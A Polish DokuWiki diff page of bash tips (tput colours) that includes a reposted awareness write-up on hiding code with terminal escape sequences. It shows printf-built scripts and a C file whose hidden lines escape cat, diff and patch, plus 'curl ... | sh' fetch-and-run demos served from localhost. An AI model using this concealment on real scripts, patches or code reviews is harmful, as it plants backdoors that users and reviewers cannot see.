linux:bash

Różnice

Różnice między wybraną wersją a wersją aktualną.

Odnośnik do tego porównania

Poprzednia rewizja po obu stronach Poprzednia wersja
Nowa wersja		 Poprzednia wersja
linux:bash [2014/10/28 09:16] – flamencolinux:bash [2022/05/22 10:38] (aktualna) – edycja zewnętrzna 127.0.0.1
Linia 1: Linia 1:
 ====== BASH i okolice ====== ====== BASH i okolice ======
-===== Kolorowanie tekstu w terminalu =====+===== Kolorowanie tekstu w terminalu i inne tamże sztuczki ===== 
 Here is some more detail on the awesome tput command suggested in Ignacio's answer. Here is some more detail on the awesome tput command suggested in Ignacio's answer.
  
 ==== Colour commands ==== ==== Colour commands ====
 <code> <code>
-tput setab [1-7] # Set the background colour using ANSI escape +# Set the background colour using ANSI escape 
-tput setaf [1-7] # Set the foreground colour using ANSI escape+tput setab [1-7] 
 +# Set the foreground colour using ANSI escape 
 +tput setaf [1-7]
 </code> </code>
 Colours are as follows: Colours are as follows:
Linia 21: Linia 24:
 7    white     COLOR_WHITE     max,max,max 7    white     COLOR_WHITE     max,max,max
 </code> </code>
-There are also non-ANSI versions of the colour setting functions (setb instead of setab, and setf instead of setaf) which use different numbers, not given here.+There are also non-ANSI versions of the colour setting functions (''setb'' instead of ''setab'', and ''setf'' instead of ''setaf'') which use different numbers, not given here.
  
 ==== Text mode commands ==== ==== Text mode commands ====
Linia 60: Linia 63:
 tput bel     # play a bell tput bel     # play a bell
 </code> </code>
-With compiz wobbly windows, the bel command makes the terminal wobble for a second to draw the user's attention.+With [[https://extensions.gnome.org/extension/669/wobbly-windows/|compiz wobbly windows]], the ''bel'' command makes the terminal wobble for a second to draw the user's attention.
  
 ==== Example usage ==== ==== Example usage ====
Linia 68: Linia 71:
 Looks like this on my Ubuntu terminal: Looks like this on my Ubuntu terminal:
  
-''Red text and white background'' 
 {{:linux:4stug.png?200|}} {{:linux:4stug.png?200|}}
-Screenshot of colour terminal text 
  
-Use command sgr 0 to reset the colour at the end. 
  
-Performing multiple operations at once+Use command ''sgr 0'' to reset the colour at the end.
  
-tput accepts scripts containing one command per line, which are executed in order before tput exits.+==== Performing multiple operations at once ====
  
-Avoid temporary files by echoing a multiline string and piping it: 
  
 +''tput'' accepts scripts containing one command per line, which are executed in order before tput exits.
 +
 +Avoid temporary files by echoing a multiline string and piping it:
 +<code>
 echo -e "setf 7\nsetb 1" | tput -S  # set fg white and bg red echo -e "setf 7\nsetb 1" | tput -S  # set fg white and bg red
-See also+</code> 
 +==== See also ==== 
 + 
 +  * See ''[[http://unixhelp.ed.ac.uk/CGI/man-cgi?tput+1|man 1 tput]]'' 
 +  * See ''[[http://www.manpagez.com/man/5/terminfo/|man 5 terminfo]]'' for the complete list of commands and more details on these options. (The corresponding tput command is listed in the Cap-name column of the huge table that starts at line 81.) 
 + 
 +===== Backup bashem ===== 
 + 
 +http://www.cyberciti.biz/faq/how-to-wakeup-backup-nas-server-and-mirror-files-using-rsync-in-linux/ 
 + 
 + 
 + 
 +===== Ciekawostki ===== 
 + 
 +==== Federico Bento ''Terminal escape sequences'' ==== 
 + 
 + 
 +So recently i've encountered a post by Kurt Seifried of RedHat on  oss-sec's mailing list entitled //[[http://www.openwall.com/lists/oss-security/2015/08/11/8|"Terminal escape sequences - the new  XSS for admins?"]]// 
 + 
 +This is a little misleading title, since escape sequences have been introduced circa 70's, so it's actually not that new. 
 + 
 +How it technically works: 
 + 
 +A terminal escape sequence is a special sequence of characters that is printed (like any other text). 
 + 
 +If the terminal understands the sequence, it won't display the character-sequence, but will perform some action. 
 + 
 +While some people might already know what i'm going to present you, the majority I believe doesn't, so this is mostly to raise awareness. 
 + 
 +<code bash> 
 +$ printf '#!/bin/bash\necho doing something evil!\nexit\n\033[2Aecho   
 +doing something very nice!\n' > backdoor.sh 
 +$ chmod +x backdoor.sh 
 +$ cat backdoor.sh 
 +#!/bin/bash 
 +echo doing something very nice! 
 +$ ./backdoor.sh 
 +doing something evil! 
 +</code> 
 + 
 +As you can see, our beloved ''cat'' cheated on us. Why? Because instead of displaying the character-sequence, the escape sequence **''\033[XA''** (being ''X'' the number of times) performed some action. And this action moves the cursor up ''X'' times, overwriting what is above it ''X'' lines. But this doesn't affect only '**cat**', it affects everything that   
 +interprets escape sequences. 
 + 
 +<code bash> 
 +$ head backdoor.sh 
 +#!/bin/bash 
 +echo doing something very nice! 
 + 
 +$ tail backdoor.sh 
 +#!/bin/bash 
 +echo doing something very nice! 
 + 
 +$ more backdoor.sh 
 +#!/bin/bash 
 +echo doing something very nice! 
 +</code> 
 + 
 +It's not over yet! 
 + 
 +<code bash> 
 +$ curl 127.0.0.1/backdoor.sh 
 +#!/bin/bash 
 +echo doing something very nice! 
 + 
 +$ wget -qO - 127.0.0.1/backdoor.sh 
 +#!/bin/bash 
 +echo doing something very nice! 
 +</code> 
 + 
 +But if we pipe it into a shell... 
 + 
 +<code bash> 
 +$ curl -s 127.0.0.1/backdoor.sh|sh 
 +doing something evil! 
 + 
 +$ wget -qO - 127.0.0.1/backdoor.sh|sh 
 +doing something evil! 
 +</code> 
 + 
 +You might be thinking //"If I opened that in my browser, I would detect it being malicious!"// 
 + 
 +Well, think again... 
 + 
 +One can have all sorts of fun with user-agents, something that can easily come to mind is verifying if the user-agent is from curl or wget, and make them download the malicious file, if not, redirect them to a legitimate file that looks like the original output. Your browser would fool you then. 
 + 
 +I wouldn't even be surprised if most of those install scripts that make use of these ''pipe into sh'' bullcrap abused this. 
 + 
 +I wouldn't even be surprised if most of you were already pwned by escape sequences in any situation at all. Imagine the possibilities, from hidden ssh keys on your authorized_keys to options hidden on your configuration files... 
 + 
 +It's no secret, most of us rely on ''cat'' to view files. I guess this is one black kitty, giving you bad luck. 
 + 
 +Here's another example with a ''.c'' file 
 + 
 +<code c> 
 +$ printf '#include <stdio.h>\n\nint main()\n{\n\tprintf("doing   
 +something evil\\n");\n\t/*\033[2A\n\t/* This simple program doesnt do   
 +much... */\n\tprintf("doing something very nice\\n");\n\treturn   
 +0;\n}\n' > nice.c 
 +$ cat nice.c 
 +#include <stdio.h> 
 + 
 +int main() 
 +{ 
 + /* This simple program doesnt do much... */ 
 + printf("doing something very nice\n"); 
 + return 0; 
 +} 
 +</code> 
 +<code bash> 
 +$ gcc nice.c 
 +$ ./a.out 
 +doing something evil 
 +doing something very nice 
 +</code> 
 + 
 +''diff'' also interprets escape sequences and so do the resulting patches  
 + 
 +Going back to the first example, imagine I have a ''backdoored.sh'' that is backdoored, and a legit.sh that does what it's output tells us. 
 + 
 +<code bash> 
 +$ cat backdoor.sh #evil file 
 +#!/bin/bash 
 +echo doing something very nice! 
 + 
 +$ cat legit.sh #actually echoes doing something very nice! 
 +#!/bin/bash 
 +echo doing something very nice! 
 + 
 + 
 +$ diff -Naur backdoor.sh legit.sh 
 +--- backdoor.sh 2015-09-17 16:25:42.985349535 +0100 
 ++++ legit.sh 2015-09-17 16:26:14.950158635 +0100 
 +@@ -1,4 +1,2 @@ 
 +  #!/bin/bash 
 +-echo doing something very nice! 
 ++echo doing something very nice! 
 + 
 +$ diff -Naur backdoor.sh legit.sh > file.patch 
 +$ patch legit.sh -R file.patch 
 +$ chmod +x legit.sh 
 +$ ./legit.sh 
 +doing something evil! 
 +</code> 
 + 
 +=== Hint: === 
 +''less'' doesn't interpret escape sequences unless the ''-r'' switch is used, so stop aliasing it to ''less -r'' just because there's no colored output. 
 + 
 + 
 +s/party/hack like it's 1999
  
-See man 1 tput 
-See man 5 terminfo for the complete list of commands and more details on these options. (The corresponding tput command is listed in the Cap-name column of the huge table that starts at line 81.) 
  • linux/bash.1414484166.txt.gz
  • ostatnio zmienione: 2022/05/22 10:37
  • (edycja zewnętrzna)